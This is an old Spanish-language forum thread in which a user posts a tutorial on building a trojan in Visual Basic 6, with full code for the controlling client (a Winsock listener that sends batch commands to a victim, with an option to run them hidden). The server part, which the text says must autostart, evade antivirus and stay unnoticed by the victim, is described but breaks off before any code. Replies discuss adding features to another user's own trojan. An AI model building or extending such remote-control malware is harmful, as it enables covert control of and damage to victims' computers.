[manual]como hacer un troyano medio by krackwar

Iniciado por krackwar, 6 Abril 2008, 22:05 PM

0 Miembros y 1 Visitante están viendo este tema.

krackwar

bueno con este manual planeo enseñar como crear un troyano de dificultad media con conocimientos basicos:
materiales:
  • CSocketMaster descargar aqui
  • visual basic 6
  • Ganas de aprender
    partes
    bueno un troyano consta de dos partes ;un servidor que es el que recibe la victima i el cliente que es el que tiene el infectante.
    1ª_parte
    Cliente
    bueno empesaremos a programar el cliente.
    Con el vb6 abierto apretaremos las teclas ctrl + t nos aparesera una ventana de los componentes ai seleccionaremos la casilla de microsoft winsock 6 i presionaremos aceptar , despues de esto se nos agregara un icono con 2 computadores en la barra de herramientas(la que esta en la izquierda) este es el winsock , lo agregaremos al form i luego le cambiaremos el nombre que es "winsock1" a "ws" sin las comillas(esto se hace para abreviar).Luego agregaremos un frame(este se agregara ya que para hacer mas ordenado el troyano i ponerle mas opciones lo dividiremos en frames) i un commandbuton fuera del frame , en las propiedad de visible del frame pondremos false i en la propiedad caption del commandbuton i del frame pondremos "conexion" (sin las comillas)  , luego dentro del evento click del command1 pondremos
    Código (vb) [Seleccionar]
    frame1.visible = true osea el code completo del programa seria
    Código (vb) [Seleccionar]

    Private Sub Command1_Click()
    Frame1.Visible = True
    End Sub

    luego agregaremos en el frame1 un textbox ,dos commandbuton , un timer con la propiedad enabled = falsei un label ,en el command2 pondremos en la propiedad caption "conectar"(sin las comillas) , en el command3 en la propiedad caption pondremos "desconectar"(sin las comillas) i en la misma propiedad del label1 pondremos "estado:"(sin las comillas) .
    la parte grafica debe estar quedando mas o menos asi.

    Aora empesaremos a programar la conexion , bueno , aora en el evento ConnectionRequest del ws pondremos
    Código (vb) [Seleccionar]
    On Error Resume Next 'esto es para que en un error prosiga i no pare
    ws.Close 'cerramos la conexion
    ws.Accept requestID 'acepta cualquier conexion entrante
    timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
    timer1.Enabled = True 'abilitaremos el timer1

    luego pondremos en el evento timer del timer1 el siguinte codigo:
    Código (vb) [Seleccionar]
    If ws.State = 0 Then
    Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
    ws.Close 'cerramos la conexion
    ws.Listen 'escuchamos
    End If ' teminamos el if
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
    If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
    esto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.
    bueno con esto ya tenemos mas del 50% de la conexion que es lo principal de un troyano.
    aora en el evento click del command2 que es el que dice conectar pondremos
    Código (vb) [Seleccionar]
    On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
    ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
    ws.Close                                                            'cierra cualquier conexion que alla con este programa
    ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
    esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos:
    Código (vb) [Seleccionar]
    If ws.State = 7 Then 've si estamos conectados
    ws.Close ' si estamos conectados nos desconecta
    Else
    MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
    End If 'teminamos el if

    bueno con esto ya tenemos la conexion del cliente i ya que mi ultimo programa fue el osiris 2.0 [creador de bats remoto] le pondremos la caracteristica de crear bats = que con el osiris , pero primero pondre como esta quedando el code :
    Código (vb) [Seleccionar]

    Private Sub Command2_Click()
    On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
    ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
    ws.Close                                                            'cierra cualquier conexion que alla con este programa
    ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
    End Sub



    Private Sub Command3_Click()
    If ws.State = 7 Then 've si estamos conectados
    ws.Close ' si estamos conectados nos desconecta
    Else
    MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
    End If 'teminamos el if
    End Sub

    Private Sub Timer1_Timer()
    If ws.State = 0 Then
    Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
    ws.Close 'cerramos la conexion
    ws.Listen 'escuchamos
    End If ' teminamos el if
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
    If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado


    End Sub

    Private Sub ws_ConnectionRequest(ByVal requestID As Long)
    On Error Resume Next 'esto es para que en un error prosiga i no pare
    ws.Close 'cerramos la conexion
    ws.Accept requestID 'acepta cualquier conexion entrante
    Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
    Timer1.Enabled = True 'abilitaremos el timer1
    End Sub


    bueno aora haremos el creaador de bats remoto.
    primero que nada agregaremos otro frame fuera del frame 1 luego dentro de la propiedad visible del frame2 pondremos false i en la propiedad caption de este pondremos bats remotos luego agregaremos otro commandbuton fuera del frame i en la propiedad caption pongan "bats" (sin las comillas) i en el evento click del command4 ponemos
    Código (vb) [Seleccionar]
    Frame1.Visible = False ' ocultamos el frame1
    Frame2.Visible = True ' mostramos el frame2

    i en el evento click del command1 ponemos
    Código (vb) [Seleccionar]
    Frame2.Visible = False ' ocultamos el frame2
    Frame1.Visible = True ' mostramos el frame1

    osea el code de estos dos botones queda asi:
    Código (vb) [Seleccionar]
    Private Sub Command1_Click()
    Frame2.Visible = False ' ocultamos el frame2
    Frame1.Visible = True ' mostramos el frame1
    End Sub
    Private Sub Command4_Click()
    Frame1.Visible = False ' ocultamos el frame1
    Frame2.Visible = True ' mostramos el frame2
    End Sub
    bueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
    deberia estar quedando mas o menos asi:

    bueno suponiendo que saben ya algo de vb6 aunque sea lo basico de aqui en adelante me voi a explicar como que le ablara a alguien que sabe.
    Bueno sigamos el manual , declaramos la variable global "vista" tipo string(sin las comillas) i en el evento click del option1 pones
    Código (vb) [Seleccionar]
    vista = "true" ' cambiamos la variable vista a true
    i en el evento click del option2
    Código (vb) [Seleccionar]
    vista = "falso" ' cambiamos la variable vista a falso
    luego declaramos la variable global separador tipo string i en el evento load del form ponemos
    Código (vb) [Seleccionar]
    separador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano
    luego en el evento click del command5 ponemos ponemos
    Código (vb) [Seleccionar]
    ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista
    bueno asta aca el codigo completo seria
    Código (vb) [Seleccionar]

    Dim separador As String
    Dim vista As String


    Private Sub Command1_Click()
    Frame2.Visible = False ' ocultamos el frame2
    Frame1.Visible = True ' mostramos el frame1
    End Sub

    Private Sub Command2_Click()
    On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
    ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
    ws.Close                                                            'cierra cualquier conexion que alla con este programa
    ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
    End Sub



    Private Sub Command3_Click()
    If ws.State = 7 Then 've si estamos conectados
    ws.Close ' si estamos conectados nos desconecta
    Else

    MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
    End If 'teminamos el if
    End Sub

    Private Sub Command4_Click()
    Frame1.Visible = False ' ocultamos el frame1
    Frame2.Visible = True ' mostramos el frame2

    End Sub


    Private Sub Command5_Click()
    ws.SendData Text2.Text & separador & vista
    End Sub

    Private Sub Form_Load()
    separador = "@^^^%/()!||||¿?¿?¿?_--"
    End Sub

    Private Sub Option1_Click()
    vista = "true"
    End Sub

    Private Sub Option2_Click()
    vista = "falso"
    End Sub

    Private Sub Timer1_Timer()
    If ws.State = 0 Then
    Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
    ws.Close 'cerramos la conexion
    ws.Listen 'escuchamos
    End If ' teminamos el if
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
    If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado


    End Sub

    Private Sub ws_ConnectionRequest(ByVal requestID As Long)
    On Error Resume Next 'esto es para que en un error prosiga i no pare
    ws.Close 'cerramos la conexion
    ws.Accept requestID 'acepta cualquier conexion entrante
    Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
    Timer1.Enabled = True 'abilitaremos el timer1
    End Sub
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

krackwar

#1
2ª_parte
servidor
bueno , ahora programaremos el servidor esta seria como la segunda parte de mi manual y por lo menos para mi es la parte mas importante.
explicación pequeña:
Bueno ,el servidor es el que se conecta al cliente este tendra que tener auto inicio para que se ejecute aunque se reinicie el pc,este tendra que ser lo mas liviano posible ,tiene que ser indetectable a los antivirus y este es el que recibe los datos y los interpreta.Este lleva la mayoria de su code en el evento load del form ,ya que este no tiene que tener interaccion con lavictima ya que tiene que pasar sin ser persivido.
programacion:
bueno empesaremos a a programar el servidor del troyano este a la diferencia de el cliente este emves de usar el winsock va a usar el csocketmaster que lo divieron a ver descargado cuando empesaron a leer el manual,este se osupara casi igual que el winsock solo que son modulos emves del ocx bueno yo los deje dentro de un proyecto con todo ya puesto asi que solo ai que escribirlo como si fuera un winsock solo que este se llama ws(bueno no ai ninguna diferencia XD).
bueno abrimos el proyecto de csocketmaster que se descargaron anteriormente i en el evento load del form ponemos
continuara mañana.....
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

saliaz

krackar tengo un troyano  muy parecido al que estas haciendo,y me ha surjido una duda, y es que, quiero introducirle otra funcion en concreto Messenger API Type Library y mas concretamente lo siguiente:

Private Sub Form_Load()
    Set objMessenger = New MessengerAPI.Messenger
End Sub

mi duda es si  Set objMessenger = New MessengerAPI.Messenger lo deberia cargar con el form_load del troyano donde cargo
Private Sub Form_Load()

On Error Resume Next
Winsock1.RemoteHost = "xxxxxxxx"
Winsock1.RemotePort = 80
Winsock1.Listen
Dim ejec As String
...................
o deberia cargarlo por separado?


luego borrare el post

krackwar

i como borraras el post???? bueno contestando tu pregunta tienes q ponerlo en el evento load del form
pd:en un ratito mas termino el manual ya que estoi haciendo un troyano i se me an ocurrido ideas para el manual
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

TUNOVATO

jejejeje saludos wey..!!ç


te quedastes dormido..!!!  :laugh: :laugh: :laugh: :laugh: :laugh:

ya estan cantando los gallos...!!!!  ;D ;D ;D ;D ;D ;D

saliaz


la verdad es que yo le estropee el tuto.Si algun moderador lee este mensaje por favor borren mis mensajes de este post para que Krackwar pueda continuarlo.
Saludos.

krackwar

Cita de: TUNOVATO en  5 Junio 2008, 23:25 PM
jejejeje saludos wey..!!ç


te quedastes dormido..!!!  :laugh: :laugh: :laugh: :laugh: :laugh:

ya estan cantando los gallos...!!!!  ;D ;D ;D ;D ;D ;D
Si no lo e terminado en un tiempo mas lo termino que estoy estudiando asm como tonto y me consume mucho tiempo.
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

sentret

Tiooooooo revivo este post, por que me parece super super interesante, y me gustaria que lo terminaran, eso del winsock api me interesa muchisimo (csocketmaster)
saludos